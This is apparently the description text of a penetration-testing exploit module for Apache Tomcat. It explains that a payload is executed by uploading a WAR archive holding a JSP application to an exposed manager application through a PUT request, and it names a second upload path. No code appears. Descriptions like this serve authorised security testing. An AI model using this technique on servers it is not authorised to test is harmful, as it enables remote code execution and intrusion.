					This module can be used to execute a payload on Apache Tomcat servers that
				have an exposed "manager" application. The payload is uploaded as a WAR archive
				containing a jsp application using a PUT request.

				The manager application can also be abused using /manager/html/upload, but that
				method is not implemented in this module.

				NOTE: The compatible payload sets vary based on the selected target. For 
				example, you must select the Windows target to use native Windows payloads.
